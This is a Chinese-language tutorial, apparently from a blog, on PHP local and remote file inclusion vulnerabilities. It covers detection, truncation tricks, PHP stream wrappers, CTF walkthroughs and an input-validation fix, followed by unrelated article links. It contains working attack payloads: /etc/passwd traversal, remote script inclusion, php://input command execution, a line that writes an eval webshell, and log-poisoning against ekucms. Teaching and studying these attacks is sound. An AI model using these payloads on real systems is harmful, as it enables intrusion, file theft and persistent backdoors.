文件操作--文件包含漏洞

本文主要內容

腳本

????????ASP、PHP、JSP、ASPX、Python、Javaweb? ? --# 各種包含函數

檢測

????????白盒????????

????????????????代碼審計

????????黑盒
????????????????漏掃工具、公開漏洞、手工看參數值及功能點

類型
????????本地包含
????????????????有限制、無限制

????????遠程包含
????????????????無限制、有限制

利用

????????http、ftp、file、各種腳本支持協議

修復

????????固定后綴、固定文件、WAF產品

-->?將文件以腳本執行

文件包含漏洞

? ? ? ? 基本含義

文件包含漏洞(File Inclusion Vulnerability)是一種常見的Web安全漏洞,它允許攻擊者通過修改文件路徑,包含服務器上未經授權的文件,可能導致敏感信息泄露、代碼執行或服務器被入侵。根據文件包含的行為,通常分為兩種類型:

  • 本地文件包含(LFI):攻擊者能夠包含和執行服務器本地文件系統中的文件。攻擊者通過修改程序中的文件路徑參數,訪問并讀取本地文件(如配置文件、日志文件、甚至敏感的系統文件),有時也能執行惡意文件。

  • 遠程文件包含(RFI):包含互聯網可以訪問到的文件,危害更大。

文件包含漏洞的根本原因在于用戶輸入未嚴格驗證、不當的文件處理邏輯以及缺乏安全配置。

? ? ? ?

????????模擬場景

場景描述

假設有一個PHP網站,它有一個功能是顯示用戶的個人資料。網站通過URL參數來接收用戶ID,并根據這個ID來顯示相應的用戶資料。這個功能可能使用了類似下面的代碼:

<?php
// 假設用戶ID通過URL參數傳遞
$user_id = $_GET['user_id'];// 根據用戶ID包含相應的用戶資料文件
include("users/$user_id.php");
?>

在這個例子中,include() 函數被用來包含一個名為 users/$user_id.php 的文件。這里的 $user_id 是從URL參數中直接獲取的,沒有進行任何驗證或過濾。

漏洞利用

攻擊者發現這個功能后,可以嘗試修改 user_id 參數來包含服務器上的其他文件。例如,攻擊者可以通過修改URL為:

  1. http://example.com/profile.php?user_id=../../../../../../../../etc/passwd

    來嘗試訪問服務器的 /etc/passwd 文件。如果服務器配置不當,允許執行任意文件,攻擊者甚至可以包含一個遠程服務器上的惡意PHP腳本,從而執行遠程代碼。

    防御措施

    為了防御這種類型的文件包含漏洞,可以采取以下措施:

    1. 驗證和過濾用戶輸入:確保所有用戶輸入都經過嚴格的驗證和過濾。在這個例子中,可以檢查 $user_id 是否只包含數字和可能的字母(如果用戶ID允許字母的話)。

    <?php
    $user_id = $_GET['user_id'];// 驗證用戶ID是否只包含數字和字母
    if (!preg_match('/^[a-zA-Z0-9]+$/', $user_id)) {die('Invalid user ID.');
    }include("users/$user_id.php");
    ?>

? ? ? ? 模擬場景2

? ? ? ? 在本地搭建環境:配置一個include.php 文件,同時有一個1.txt文件寫入php腳本

? ? ? ? 再通過瀏覽器訪問 127.0.0.1:8080/include.php?filename=1.txt

<?php phpinfo();?>
<?php
$filename=$_GET['filename'];
include($filename);//http://127.0.0.1: 8080/include.php?filename=index.txt?>

? ? ? ? 對比發現,//127.0.0.1:8080/1.txt? 會直接顯示文本數據

? ? ? ? 而通過include($filename);會將指定文件里面的這個內容呢以這個腳本代碼去執行,不同瀏覽器有自己的腳本樣例

? ? ? ? 兩種類型

????????本地包含

????????????????無限制

? ? ? ? ? ? ? ? 瀏覽器訪問訪問/127.0.0.1:8080/include.php?filename=../../../www.txt?

????????????????www.txt文件被當作php腳本執行

<?php  echo 'xiaodi';  ?>
????????????????有限制? ? ? ? ? ? ?

? ? ? ? ? ? ? ? 訪問會變成 include.php?filename=index.txt.html??

<?php$filename=$_GET['filename'];
include($filename.".html");?>

????????????????%00截斷:條件:magic_quotes_gpc= Off php版本<5.3.4
????????????????filename=../../../www.txt%00? ?--# 不太實用
????????????????長度截斷:條件:windows,點號需要長于256;1inux長于4096? --# 加上n個././?

????????遠程包含

? ? ? ? ? ? ? ? 將遠程文件作為腳本讀取?????[直接讀取會當作文本文件]

http://127.0.0.1:8080/include.php?filename=http://www.xiaodi8.com/readme.txt

<?php$filename=$_GET['filename'];
include($filename);?>

? ? ? ? ? ? ? ? 如果有限制的話如下
http://127.0.0.1:8080/include.php?filename=http://www.xiaodi8.com/readme.txt%20
http://127.0.0.1:8080/include.php?filename=http://www.xiaodi8.com/readme.txt%23
http://127.0.0.1:8080/include.php?filename=http://www.xiaodi8.com/readme.txt?

? ? ? ? 協議利用

????????????????表格
協議PHP 支持情況Java 支持情況
http支持支持
https支持支持
gopher需要?curlwrappersJDK 1.7 之前不支持,之后支持
tftp需要?curlwrappers不支持
dict需要?curlwrappers不支持
file支持支持
ftp支持支持
imap需要?curlwrappers不支持
pop3需要?curlwrappers不支持
rtsp需要?curlwrappers支持
smb需要?curlwrappers支持
smtp需要?curlwrappers不支持
telnet需要?curlwrappers不支持

? ? ? ? PS:(curlwrappers 是 PHP 中的一個特性,它允許 PHP 使用 curl 庫來處理 URL 流。這意味著可以通過 PHP 的一些常用函數,如 fopen()file_get_contents(),來訪問和操作網絡資源,而不需要直接使用 curl 庫中的函數。curlwrappers 可以簡化 URL 操作,使得開發者可以使用 PHP 中的常見函數來處理網絡請求,而不必學習 curl 庫中的復雜函數。然而,curlwrappers 的功能相對較弱,不能執行 curl 擴展所能進行的更復雜的操作。在編譯 PHP 時,可以通過 --with-curlwrappers 選項來啟用這個特性。)

? ? ? ??php偽協議:

? ? ? ? ? ? ? ? 參考網站

php偽協議 - 看不盡的塵埃 - 博客園https://www.cnblogs.com/endust/p/11804767.html????????

使用案例

http://127.0.0.1:8080/include.php?filename=php://filter/convert.base64encode/resource=1.txt? ? --#讀取文件內容


http://127.0.0.1:8080/include.php?filename=php://input
Post:<?php system('ver')?>? --# 使用POST提交
????????<?PHP fputs(fopen('s.php','w'),'<?php@eval($_POsT[cmd])?>');?>


http://127.0.0.1:8080/include.php?filename=file:///D:/phpstudy/PHPTutorial/WWW/1.txt


http://127.0.0.1:8080/include.php?filename=data://text/plain,
<?php&20phpinfo();?>

三個案例

? ? ? ? 例題1

asdfhttp://4.chinalover.sinaapp.com/web7/index.php

????????解題過程

????????點開之后變成? /web7/index.php?file=show.php? ?--# 觀察url組成? ?

????????說明可能存在文件包含(訪問地址包含其他文件),試探性訪問/web7/show.php,發現顯示數據一樣都是 “test123”,下面的操作就是,要么執行文件,要么執行命令,

????????如何確定是Linux還是其他OS呢?輸入show.phP,報錯則是Linux (不過我這里可能自動轉小寫,導致沒有報錯,因為Linux嚴格區分大小寫)?,確定系統,發現路被堵住了,此時切換方法

????????/web7/index.php?file=php://filter/read=convert.base64-encode/resource=index.php,讀取文件內容,加上base64編碼是為了防止出現亂碼

? ? ? ? 例題2

選手訓練營 - 網絡安全競賽|網絡安全競賽培訓|信息安全競賽培訓-i春秋https://www.ichunqiu.com/battalion?t=1&r=0

? ? ? ? 確認操作系統時候直接使用協議,看是否有攔截,hunqiu.com/?path=php://input

? ? ? ? 輸入命令<?php system('cat<dle345aae.php');?>? 執行Linux命令,再查看源碼,得到flag

? ? ? ? 例題3

????????????????/127.0.0.1:8080/ekucms/index.php?s=my/show/id/{~eval($_POST[x])

????????????????訪問不存在的文件,不存在就存到日志里面去了

????????????????/127.0.0.1:8080/ekucms/index.php?s=my/show/id/\..\temp\/ogs\25_05_01.log????????

? ? ? ? ? ? ? ? 后續就進行漏洞輸入x=phpinfo();

ekucms2.5文件漏洞復習_易酷cms漏洞-CSDN博客https://blog.csdn.net/weixin_57744947/article/details/139691909? ? ? ??

知識點補充

PHP 中的 include() 函數用于將指定文件的內容包含到當前文件中,并且執行被包含文件中的代碼。被包含的文件通常包含函數定義、類定義、配置設置或任何其他PHP代碼。include() 函數在PHP腳本執行期間被調用,它會在腳本執行到該行時,將指定文件的代碼讀取并執行。

示例

假設有兩個文件:header.phpfooter.php,以及一個主文件 index.php

header.php:

<!DOCTYPE html>
<html>
<head><title>My Page</title>
</head>
<body>

footer.php:

</body>
</html>

index.php:

<?php include('header.php'); ?><h1>Welcome to My Page</h1><?php include('footer.php'); ?>

在這個例子中,index.php 使用 include() 函數包含了 header.phpfooter.php 文件。當訪問 index.php 時,它實際上顯示了這三個文件的內容,即一個完整的HTML頁面。

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/diannao/81230.shtml
繁體地址,請注明出處:http://hk.pswp.cn/diannao/81230.shtml
英文地址,請注明出處:http://en.pswp.cn/diannao/81230.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

ActiveMQ 性能優化與網絡配置實戰(二)

五、性能優化實戰 5.1 基礎配置調整 5.1.1 增加并發消費者 在 ActiveMQ 中&#xff0c;增加并發消費者是提高消息處理效率的重要手段之一。通過配置多個消費者并行處理消息&#xff0c;可以充分利用系統資源&#xff0c;加快消息的消費速度&#xff0c;從而提高系統的整體吞…

C++/SDL 進階游戲開發 —— 雙人塔防(代號:村莊保衛戰 17)

&#x1f381;個人主頁&#xff1a;工藤新一 &#x1f50d;系列專欄&#xff1a;C面向對象&#xff08;類和對象篇&#xff09; &#x1f31f;心中的天空之城&#xff0c;終會照亮我前方的路 &#x1f389;歡迎大家點贊&#x1f44d;評論&#x1f4dd;收藏?文章 文章目錄 二…

貪心算法精解(Java實現):從理論到實戰

一、貪心算法概述 貪心算法&#xff08;Greedy Algorithm&#xff09;是一種在每一步選擇中都采取當前狀態下最優決策的算法策略。它通過局部最優選擇來達到全局最優解&#xff0c;具有高效、簡潔的特點。 核心特點&#xff1a; 局部最優選擇&#xff1a;每一步都做出當前看…

深度學習框架:PyTorch使用教程 !!

文章目錄 一、PyTorch框架簡介 1.1 什么是PyTorch 1.2 PyTorch的優勢 二、從入門到精通的PyTorch使用教程 2.1 入門階段 2.1.1 環境安裝與配置 2.1.2 Tensor基礎操作 2.1.3 自動求導&#xff08;Autograd&#xff09; 2.1.4 構建神經網絡&#xff08;nn模塊&#xff09; 2.1.5 …

系統架構設計師:設計模式——創建型設計模式

一、創建型設計模式 創建型模式抽象了實例化過程&#xff0c;它們幫助一個系統獨立于如何創建、組合和表示它的那些對象。一個類創建型模式使用繼承改變被實例化的類&#xff0c;而一個對象創建型模式將實例化委托給另一個對象。 隨著系統演化得越來越依賴于對象復合而不是類…

Dinero.js - 免費開源的 JavaScript 貨幣處理工具庫,完美解決 JS 浮點數精度丟失問題

今天介紹一個在前后端處理貨幣的工具庫&#xff0c;logo 很可愛&#xff0c;是一只藍色的招財小貓。 本文封面圖底圖來自免費 AI 圖庫 StockCake。 Dinero.js 是一個用于貨幣計算的 JavaScript 工具庫&#xff0c;解決開發者在金融、電商、會計等場景中處理貨幣時的精度丟失、…

HNUST湖南科技大學-嵌入式考試選擇題題庫(109道糾正詳解版)

HNUST嵌入式選擇題題庫 1.下面哪點不是嵌入式操作系統的特點。(B) A.內核精簡 B.功能強大 C.專用性強 D.高實時性 解析&#xff1a; 嵌入式操作系統特點是內核精簡、專用性強、高實時性&#xff0c;而"功能強大"通常指的是通用操作系統&#x…

【工具】Windows批量文件復制教程:用BAT腳本自動化文件管理

一、引言 在日常開發與部署過程中&#xff0c;文件的自動化復制是一個非常常見的需求。無論是在構建過程、自動部署&#xff0c;還是備份任務中&#xff0c;開發者經常需要將某個目錄中的 DLL、配置文件、資源文件批量復制到目標位置。相比使用圖形界面的復制粘貼操作&#xf…

xray-poc編寫示例

禁止未授權掃描和測試行為&#xff01;&#xff01;&#xff01; 1. SQL 時間盲注檢測 (Time-Based Blind SQLi) name: generic/time-based-sqli rules:- method: GETpath: "/product?id1 AND (SELECT 1 FROM (SELECT SLEEP(5))a)--"expression: |response.status…

【Day 14】HarmonyOS分布式數據庫實戰

一、分布式數據庫基礎 1. 核心概念速記表 術語解釋示例場景分布式數據庫數據自動同步到同賬號設備手機添加商品→平板立即顯示KV數據模型鍵值對存儲&#xff08;類似JSON&#xff09;{"cart_item1": {"name":"牛奶","price":10}}數據…

【數據結構】- 棧

前言&#xff1a; 經過了幾個月的漫長歲月&#xff0c;回頭時年邁的小編發現&#xff0c;數據結構的內容還沒有寫博客&#xff0c;于是小編趕緊停下手頭的活動&#xff0c;補上博客以洗清身上的罪孽 目錄 前言&#xff1a; 棧的應用 括號匹配 逆波蘭表達式 數制轉換 棧的實…

TDA4VM SDK J721E (RTOS/Linux) bootloaders梳理筆記

文章目錄 1. 前言2. RTOS BootLoader2.1 引導模式2.2 啟動序列2.2.1 流程框圖2.2.2 Memory map2.3 鏡像格式詳解3. Linux BootLoader鏡像格式詳解啟動流程參考1. 前言 TDA4VM的BootLoader包含兩部分:RTOS的和Linux的。 2. RTOS BootLoader 這是在SoC上的所有內核運行FreeRTO…

Spring Boot + MyBatis-Plus 的現代開發模式

之前的Maven項目和本次需要的環境配置并不一樣 之前使用的是&#xff1a; 傳統的 MyBatis 框架&#xff08;非 Spring Boot 環境&#xff09; 手動管理 SqlSession 使用了 .xml 的 Mapper 映射文件 沒有 Spring 容器管理&#xff08;沒有 Service / RestController 等&…

【Quest開發】極簡版!透視環境下摳出身體并能遮擋身體上的服裝

前兩天發了一個很復雜的版本&#xff0c;又鼓搗了一下發現完全沒有必要。我之前的理解有點偏&#xff08;不是錯誤的但用法錯了&#xff09;&#xff0c;但是有一些小伙伴收藏了&#xff0c;害怕里面的某些東西對誰有用&#xff0c;所以寫了一篇新的&#xff0c;前兩步配置環境…

vue 常見ui庫對比(element、ant、antV等)

Element UI 1. 簡介 Element UI 是一個基于 Vue 2 和 Vue 3 的企業級 UI 組件庫&#xff0c;提供了豐富的組件和主題定制功能。官方網站&#xff1a;Element UI 2. 主要特點 豐富的組件&#xff1a;包括表單、表格、布局、導航、彈窗等多種組件。主題定制&#xff1a;支持主…

MATLAB畫一把傘

% 傘的參數num_ribs 5; % 傘骨數量修改為5R 1; % 傘的半徑height 0.5; % 傘的高度handle_length 2; % 傘柄長度semicircle_radius 0.26; % 傘柄末端半圓的半徑% 生成傘葉網格theta linspace(0, 2*pi, 100);phi linspace(0, pi/2, 50);[Theta, Phi] meshgrid(theta, phi…

如何在 Go 中實現各種類型的鏈表?

鏈表是動態內存分配中最常見的數據結構之一。它由一組有限的元素組成&#xff0c;每個元素&#xff08;節點&#xff09;至少占用兩塊內存&#xff1a;一塊用于存放數據&#xff0c;另一塊用于存放指向下一個節點的指針。本文教程將說明在 Go 語言中如何借助指針和結構體類型來…

新一代機載相控陣雷達的發展

相控陣雷達以其優越的性能在軍事領域中有著廣闊的應用前景&#xff0c;但由于復雜的技術、昂貴的造價使其應用范圍還存在一定的局限性。然而&#xff0c;國內外對相控陣技術的研究非常重視&#xff0c;并取得了豐碩的成果。 軍用相控陣雷達主要分為陸基、海基和空基幾種類型。 …

多數元素題解(LC:169)

169. 多數元素 核心思想&#xff08;Boyer-Moore 投票算法&#xff09;&#xff1a; 解題思路&#xff1a;可以使用 Boyer-Moore 投票算法、該算法的核心思想是&#xff1a; 維護一個候選元素和計數器、初始時計數器為 0。 遍歷數組&#xff1a; 當計數器為 0 時、設置當前元…

數據庫 AI 助手測評:Chat2DB、SQLFlow 等工具如何提升開發效率?

一、引言:數據庫開發的 “效率革命” 正在發生 在某互聯網金融公司的凌晨故障現場,資深 DBA 正滿頭大汗地排查一條執行超時的 SQL—— 該語句涉及 7 張核心業務表的復雜關聯,因索引缺失導致全表掃描,最終引發交易系統阻塞。這類場景在傳統數據庫開發中屢見不鮮:據 Gartne…